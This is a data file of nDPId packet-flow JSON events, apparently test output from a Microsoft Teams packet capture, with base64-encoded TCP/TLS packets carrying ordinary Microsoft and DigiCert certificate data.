+02360{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745508,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGvYHAqAEGon0Tg+u4AbuLptO1EqsiiIAQEADeOgAAAQEICjCEr+SRzaKrzYW88e2CfWzNZAm7YGv\/GC3ueZTnRSVLBw7pYNrOpAiG38jI6Qt4Kx2b9WtYxpyjUoW9tcNvzBVTPMSZ47JvbZdCFPZDhCuw89DktdDgMhAd1cqt4pJY6R\/dfRGgq4A0d4K6bNZwTGby4vBzzJQSoq6lTgpL212+AqtZqSL9TOxJQNIbru8pCu+eMC3+UxABZh+vjVlApYEEgleR05OUu\/t0ujQt+rbsLfKhW7NCCrDcMsxA6eHyjOKvbJ5BKitSMsOxomxwN\/mBhwTXNMDIj9ipB8SqDCzyo+fGerdB7iJocdi94zm7ElNcLku7Fkp2YUsg8wo8tZdFBsESUChXBwnIdxBSsTyO6s4320AGbG5ZjxV3qpQkibkjjdMMfCsMZY3oBhr0DTEYU8KvT1SwPF5vx7D6QegGVkIuICWyZF2PnmGvQLX0gqS3jgF40PnwJRJzl\/m9YMakzCu5aqeLYJD8gpEgpEthdGxx\/W4+YL+SRhOZVTukaxO2LOzvCuf92CTq0stJna8lX6JLX7DZaczLtO7LC3rPIOiPLnTruqf6No\/X2XDOcAT\/PV\/vIRkGM4Q7h7ULoH+mIz3a\/nhwP2xV3Qw4Lkn5GWlyWBF\/qD09wJN6UiF0mBZft7Isb0gQFdOJ\/BfGrJPoFo8VUR6TWBWpzrRCj+\/syx4UndKeFRHBn+VCE+1ExF06Dm3FVDsYtrPd3OsrJrI0NXwvVGjIWdGZpB8ZB04HdhSVxrGF97QIG8HvrdEonhKd1P6C0+MG1i9Z0BIK3WhN1kKg+rLXpVb63wcO\/jE3a1PQdWrwy3B3ZXGMnzznOHWeDb0eyclCIILos94wv1CLlLZnqt09oWc6XqgYF5zxId1dMQx1b3PAfYfCJg0J+Dq1TOCSccXEaA0a6dvSWmYkMqwsWnElh0D5KycVZEJvl764RsjramQGkKDPi6hBKviZWsNog\/kzxfL1R9vf5wCA1gYmO\/JfPTUl9POLlJiy5UUhICv2fDbeiWLGx\/QrsYmze+WP82w58PobpeyRPnti+tHCxgBf6HiJwOJ1ZttfW4fEwBCilAYsOZU6tHYQY1YK2BKuDrStkHw6a7KHl0KqG3iooGUWp6IzjSRcIViXeJHxrw0OqqXd\/fNTQhEsFlDzRZW9RukuqvsDEeWPoqhyKPs8QjyrMUsenEh3qEvB5IpAhEjmmAlAPa\/H33u8d6jyZEl8PfSH4iRYM1QqcAX1JRFgzCTwdN\/mpNCLjnKIhoeYU7sCX2oJzJqPy\/OW6JHYizKQ+9iAwWUya8z2+xzJYoXx4IwEya8zVQ+LhzTxSMlkIsyzoW7Jp7h6QyC0ZwPQDgTncg52ARx3v2Ck3lQDqdFGD+KAXD80Uz83Ctkvhj6jRSpSKYaFNNulMvi58fPa7pMIPYIrCPvv\/x9xW5Thb7R+DA\/g5MSa1IqqAzpfm7G7nubnpoRaf3jIlfytao1ROi5ncT0GG3dHR3zJLHDt8KBhl3bZV79ey9RjNKBsK3ettdL71X1lyPM3UkuVanC\/4oqtS4GhOsxP2qPvCYvgk2VhYLDPXT6rg9M3y9PPoNn7nxwulsFhsI5ov83PwHfmEDkcB0HqcPw97APEPSPzsbVbRB1EKqAEQwjWILqZ5iO4bS5Wr4PvUbvJoNyD8icDNiUhUtTr\/PULeiFkd44sBoX8+LoD15PvgP8ukZzYLgeifLtc2BZw105kBEgC6px3i9a2EXIJuR0jU8kH1cKv39FghJJXxknSqLGsBaalCSfK4F08eIinwMmoXMoAccgGVwxV71PwsWBNuC1TaPs4iDYx+6HRqMhZSTW9XgJaYKDG8chMAnQpXNq6f8XvUYO1VHIrF0cqYZZM\/+31r35bmFvCP5CuO5kwYP9Y2qjfYOW6IppI99MciTsv"} +01895{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745518,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"EBMx8Tl2KDc3AG3ICABFAARsAABAAEAGvt3AqAEGon0Tg+u4AbuLptlJEqsiiIAYEACL+QAAAQEICjCEr+SRzaKrUcekj25buvWVEyDist6EWj7nSMcAAAPWnm+\/Y8UgdvxB5ik0vpglnwbZjNZi\/L2+ohGioSrVtlJHDgII\/cfhamGYE8Fh5whtTV4V2P433tSwQKAMT7h7ad+kvBhuQ0pZ6Qa56qZvsjK3zfXKElt7KA4SNfdepJp06Q3b1UWhT0XYG9pbRB8XMmehWZnNZU3dFzdngj\/KU13XQTlBHRgIMmMUxV6bV6zF5gpHoXjuL\/VQY8JOb27q7i210Y20y+BgL5xTBw9XjPkKu2yK0aEzh9VhHJSzbc6WYduE05nGyOZgp5WzrzeprfkjgfBEAj9Zhvot9JfzCYmMhNxvlEyD1lU\/W7WqZZO39rzGlFe4QcCUVZvdan4DZ+HFymdkpBHnuyKwlpKHLFU50rpeo+1vfGwLtCaU\/PI8UGwXQUswaW0Z0oGqbE1ZwNozAlLsPj\/JLJgTFexx\/hKAAj0nCQtekwQKyF4Ewj8acdwmbKz\/0s6Bo\/eARzdfh3OMwn0uCL+bmKyXhD5nitC7UJozlyyRVWc2FL2O6f2ErUQKFGdZsa0o0jBhswMyCmSaKJZIryRtL5mKC8hZcURlJFw7spsObvWA1yfSbKf9CGGUTFJjkDusRIToxMkFSPQIFv1+AviF\/7JAUpz0Q8pWfWnoZGS4Q7v00tJO6qjCUmz2EXnXALOr\/8Ni2k5BMA\/+nlXzKdTw1O8W5hovkTZPBu+FML2qJdUyh52sMy7AWzDcXhRmG9ZQd5lzUxxs8pErTk9yfaovWs5GYdjJjTyBGhgWa7OtDAjsFTGQGoe7IS027h3F6XoXlS\/2gTMhaUMg4Mvash4lJNy1bz415nD8lfMCx8J9lpDNAa0uT9LdF8G6AB2xFZ\/sBP6Hr2790LhaO3rgCOgvDyJewAO6ViLODY6grPVzOO1x2l9X5LaQpE1LPkJhBSfyF54XITiLg31WjHheR9tXntNqJyZan551n6NVANz\/Z6cxa9RDcyuwkSdnUQhQRUt7gSybuFtn1X3TklrTeLKMkes6zT8uFrotJ+ABImmmcpopgTGf6H\/3rYf\/ZJvXBqF6wuAeBTu5yfd\/\/PJmxvOWBVAZfX3TERp3nbD99wSvejdyvMPszVnYgr0lXqW7pvMMmI571JNeat0BuQCu5mUNXNkbZUTgss7AYz5eeizQ24ppkSYbqbH1LUIyzSaQJHGGADw+GvzRTog4\/92saVIJvIpacrBrOHVAKPKowCj91HZ8Ch8KPJqjSzZvzz3W0yHXnGnNpvh2WzSlCM4yvBsHfYKFPmkv0y4WC3SAGWiPgnWyV3ZGV2AurlrMwcXi5hdCK87FPTbH\/MX0Rwhnt7TMPs5WUkpsx3bw2cxwo\/p0ogPJ2xn6CTe1zQojimj9SL\/GZaqGHjTvAT0hFTpljZSyVCb4uDUjkTrRUoLqW8bqUPo1yr807KBd"} +02363{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792228,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU9YZAAGwG0EI0ck06wKgBBgG77IG+FZj3YAjihlAQCAQbpwAAahz3MIwwCwYDVR0PBAQDAgSwMIHfBgNVHREEgdcwgdSCIyoubm9hbS5wcmVzZW5jZS50ZWFtcy5taWNyb3NvZnQuY29tgiMqLmVtZWEucHJlc2VuY2UudGVhbXMubWljcm9zb2Z0LmNvbYIjKi5hcGFjLnByZXNlbmNlLnRlYW1zLm1pY3Jvc29mdC5jb22CJSoubm9hbWRmLnByZXNlbmNlLnRlYW1zLm1pY3Jvc29mdC5jb22CHioucHJlc2VuY2UudGVhbXMubWljcm9zb2Z0LmNvbYIccHJlc2VuY2UudGVhbXMubWljcm9zb2Z0LmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAFfJmXOb1G3\/gkDpDClarQB6kon6qcwX4Kh295CbM2AS5Vgj29434HX0cY+Z9iv\/MTbIOmx9325DU4Jkds6+IU\/YaIPC6iJQpcE2e349x3dnDm3opekdQpM9PDa129MKr2YMPfEeN8v0qTyUuQZhGs4n0KhbSGQjx5\/B9gHGSpxe32oG49c+UQMe29vQ918eWYGlRxmosgaDo1O8G3hucKxVwq7wwZImn3rzlX2p3MvbHeLrrJ0NnlDsEaTwHS4Q6zzFHSGKHEGxwFQAn8mD1A4CEULHR5utg70c+5SvpcPBwDRulBAl1YVyuiG0lQXudeFRPjGil0p6dBb5dVHM6sDa+2bhTnT5Xrs6ALFkSOC2eT01f34o0LD\/iYJpYUBbRpunp7qdsCEujVxZR8n0k581k760zp6eOKdldSwGD2zCkU49qbfX71ampz0Sa7apdvaSE3KDX92BVUqVgQf0FXIZml2UETl7GkuJ7ywmJNZy\/VBh5fwF2G5tkeqqgUFl6Pz5ffSKavNMdYdiF0oJdwf95BiDLfhWMFAZ\/Az1Qj25O939c39zHdQmU2Gk65JAtVnlAhmcxyqDVZJv7WCLyYv8x3gCNb27V5dMzb8gu1mMtVqxF0t9OtLhe0ZVbT57TWBzaMHvBs\/e9XYiw9V9PDcm\/ctwDNyy0pJxMD8+96LUABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk"} +02362{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792258,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU9YVAAGwG0EM0ck06wKgBBgG77IG+FZNLYAjihlAQCAQo4QAAFgMDGEgCAABeAwNemFWSi85YgqbyA05fMdvo17qEAY3DOTMZeqDbOUD95SChIgAASQAtxsG5t0TCS1OXbpDRYVav0tO\/D6HKZ32c0sAwAAAWAAUAAAAQAAUAAwJoMgAXAAD\/AQABAAsAD0IADz8ACYEwggl9MIIHZaADAgECAhN7AAHtTIoklILl8snvAAAAAe1MMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xODA2MDQxNzI5MzhaFw0yMDA2MDQxNzI5MzhaMCcxJTAjBgNVBAMTHHByZXNlbmNlLnRlYW1zLm1pY3Jvc29mdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzd1dyBbcL1ouyZc1UdemSm9CnloxPnQTIeZLR1he8lRQvhBQVKxfoZoWvWAgp8wCNj9FcelfIQY2UgCBdwBETmO5UeujVxE0QZIDb5rVqW5FZPmQZ4mSf9dQd8nYJiHOsCXg7VKhlSWmlmABvINsEiUlQtqKUVMLKl1F3DJkPxvKoyERAro478pQZmhTWpMtaPTfE\/9wgv5CIMz7IIc754mpDtWu7uxDeZq8naT0uapTms3uRJw6GZoMWs7Ocr5FkqzwAuBf1wUqd\/zQe6kiVFYcp8fGqoDFCCXXTTCtlQkdF14RWghr01zX0BENxz1KnKB9ovhkF+3txIpaJcy+rAgMBAAGjggU7MIIFNzCCAfYGCisGAQQB1nkCBAIEggHmBIIB4gHgAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFjy+IZ7AAABAMARzBFAiEAs484R9Yj60CO3mFVasNRtmgHaup\/goj7nKmGFN3U9H8CIEAii6fEY7Q6xS8h\/sSiovfxzt49EnY9tPqEVXHFkS+HAHcA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFjy+IYJgAABAMASDBGAiEArTIFsF+tMP2\/rA04mlXhOCG2170YU8SEakO33OteZGcCIQDIwi+qiQxO4vaaHnOlu16LTa\/KmMefFRQW2aL5kR5ETAB1AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABY8viGDEAAAQDAEYwRAIgeF55y6kXo1SnVzzeCG6K86w2jHAfJiDWCIcH1BYK8zICIHnc1sbCynkaLrnLCpfbIAmSl7ti0P7iKy\/uALUZyIdqAHYAvHjh38X2PGhGSTNNoQ+hXwl5aSAJwIG08\/aRfz7ZuKUAAAFjy+IaGAAABAMARzBFAiEA23b9nIOsqhopDEUhqBGkl9OvsOnzEq925G3JnF2RIrwCIF6dgum31POwnJ+Iq3lUdURus1zHXhmtCkThw\/44vt2mMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAxLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQU7Qtd+Lyn5Dj7UiJ0I9VO"} +00424{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG92nAqAEGNHJNOuyBAbtgCOKGvhWTS4AQIADgbgAAAQEFCr4VmPe+FZ6j"} +00409{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792347,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG93XAqAEGNHJNOuyBAbtgCOKGvhWeo1AQH6W\/TwAA"} +00408{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792430,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG93XAqAEGNHJNOuyBAbtgCOKGvhWeo1AQIAC+9AAA"} +02379{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792460,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU9YdAAGwG0EE0ck06wKgBBgG77IG+FZ6jYAjihlAQCAQh\/gAA9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/jSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gWAAcrAQAHJzCCByMKAQCgggccMIIHGAYJKwYBBQUHMAEBBIIHCTCCBwUwgceiFgQU9kInIFSIlBnF7lkM4zZm22FFWzAYDzIwMjAwNDE0MTczNzQ5WjCBmzCBmDBMMAkGBSsOAwIaBQAEFE8LW9m32q+ftvNjciJ21uGVriYpBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fQITewAB7UyKJJSC5fLJ7wAAAAHtTIAAGA8yMDIwMDQxNDE3Mzc0OVqgERgPMjAyMDA0MTgxNzM3NDlaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTUxNzM3NDlaMA0GCSqGSIb3DQEBCwUAA4IBAQCIRylfjiknvnxXs2D8t7+6D6TkrLlDwFapINw8x6fmlyqRJ2q9BzUNYJF3hLh4kATN3GTPBagXOPj\/a6h1yuXV4fVtpwe0iJ\/0IGIY6w9B"} +02369{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792564,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU9YhAAGwG0EA0ck06wKgBBgG77IG+FaRPYAjihlAQCASYlwAAvzszdpO9SI0+GjwRlhLHsPDA1ObNqfw9JA+vzk1dS\/Iv21FWLOtm+mgCJWpqgX5uFLTsEGAnCvYUw4KjgqSD9ex4FGfSKOfFUnXUe3Fz5Uk8bbR7Z7Z4+5Hb3z1o\/YnZDnxkrf+7mqHD+M11vCshIL4YS+DqvxauIUZEwbTANGdJA8VwJ\/OhczonpCdMqnB8XEv1NsWsO\/ER8mucYquKFKwBL\/aHmUPSXSqom1rrZ2KEoIIFIzCCBR8wggUbMIIDA6ADAgECAhNhABK1vVbJe1vazzKFAAAAErW9MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0yMDAzMTUxNTQxMjNaFw0yMTAzMTUxNTQxMjNaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfMV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm9PunaNFnz92aO8d4uH\/JCreP9UtdnH6Bv3+BjNMnU24H982v4wslFnOHRkeShM6dTut2u5yX3USK4TkHudmdpKCKlumoSspYbuV23UEmjEltXDdzSNYmzvQDOeZo9DyTtm0W9OcExDRacHKdHUSDCgp3idEbMLCXgoMPdcvciqUfRxxhpKEhzK6GRoNAmVI08HM6jLw+02rMYbuyQPnLJfaPIm6evkoCU6o9RORAng09ayQuSk72b1zEpJKOvFaK23Mnnwwb4jg93GQDHKSDRfL0BdvvWgSpMuv5U2HffFgVxCm1wKQl69Wj36qXQLZ2+wxv0swlG5nuGABQ6me1wIDAQABo4HWMIHTMB0GA1UdDgQWBBT2QicgVIiUGcXuWQzjNmbbYUVbMDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZjmdhpwvUwne4YtRiQs3dOLK5ba63GxG4DhqLLccO6A\/Gu5C1WAliMVEL8laAmZT5rjg7rZU63ADlU6i5dqMR9d65Gu\/P9sbyDYjevTB8j4VU8zV1e45gmS1fnTxH\/L14iqqM3+BWmprexDyUCWsXRJxp70y2N2YVZOquaqZFIwT4zprb8MBujdP7iFkk8soOpf\/l5U+mse\/W63G1wria\/aCHeEKWVe5F2v21NaIvfUgT9wStvUyhVk\/6WDBFypCre8c05o6zB2kA3b8eGeE56uGm26VL14MWExRNwnneVTysASyklJztTJjKIJiCZ7UsldbRUSdIVZyB+rsUuFxEs2yfP+8euVoeKkH9FEh8fTVfqGv3pafupuN0u\/\/dLN4soa06DNvTDUQWkRRbO6el56U4uvdsc3yBYOUpCEfZdmlCUuiesiTGTZKjg6Pel9E6aM1lPKUoFEgORCSp0t9xzpsHahiQos2LCym9Pi5bAvWTLeT65NzwDYJWd9xkcPSHaqNaXxrfEmnDhHqFEHA0H5fZSslXa7f\/DeJ3nBxZ+H4M2s+WWZ1FXymQaVNiFwcz61dh2ni95gdfAdhA51nQgJKXcgCvW0sx8AMX+76lmXRTxCd"} +00409{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1235,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":792597,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG93XAqAEGNHJNOuyBAbtgCOKGvhWp+1AQH9KzygAA"} +00973{"flow_id":30,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1236,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":802460,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHF9YlAAGwG1E40ck06wKgBBgG77IG+Fan7YAjihlAYCAQZjgAARB3NUS9Zk+plCHydbLwht6fHuAcJFjDcQTuMBm+4m9NXfOoK2aCNAEf7l1IMAAFpAwAYYQR6tpUy5NXM+b9iM+cFYLOVoxfQQZAdwAwBnNQmG89SfktKZlW1KIl1BTCDvw7+QCqfKCn71umzwivv\/OxwflljmAtGVmYZEXl72dfa4QN\/9Zz78swbEJx7nM3\/Z4J6EI0EAQEAX4hrEkMZswhAd4kvFhrJWBKypARC1W\/VDRiL9L2a20hFHCbF63QBpCSoqAZ0cIMepddQpbkm67\/2TOnsGaqPw4Ay3HFBScGNfPK8cYYSH6skTXrDeIptwlk8Q18J1h37eiUbcJM+0Vcn6oALdz+\/oknqpott++0+3AzjceHR7Y\/M3JXD5iAuqZVpz7ieAg+lETDEi\/Zeh8v8R1D\/F6nHSzm0TVWSvPEBmPA+O3DHRvMGghrclcEQpQ+pcrVPxOH1Dpfvugnu15dQI7Izh93WH1cJKVYwlyVc0Nbkw0t8XvQm0q++3QqX7Pd9c2ycMnVUvXc++SHTEQiUFxLaTWWrLQ4AAAA="} +00410{"flow_id":30,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":802547,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG93XAqAEGNHJNOuyBAbtgCOKGvhWrmFAQH\/OyDAAA"} +00626{"flow_id":30,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1248,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":806046,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"EBMx8Tl2KDc3AG3ICABFAADGAABAAEAG9tfAqAEGNHJNOuyBAbtgCOKGvhWrmFAYIABmlQAAFgMDAGYQAABiYQTSMCeEivTxD3Uoj1CdT6hnMeYe\/myCoo2If6kFa6BybMIfvoTvwWLHChyab4ek7OlUsui82X66GcwpE7Y\/aYMptrPdMlXK1hZpM8SFPp4ImRqqH2stb3E18rhOlY6kH5gUAwMAAQEWAwMAKAAAAAAAAAAACbY+n28jW9Z51qMsjh6WbX8j7sNwJiUHj8kay0XL5hY="} 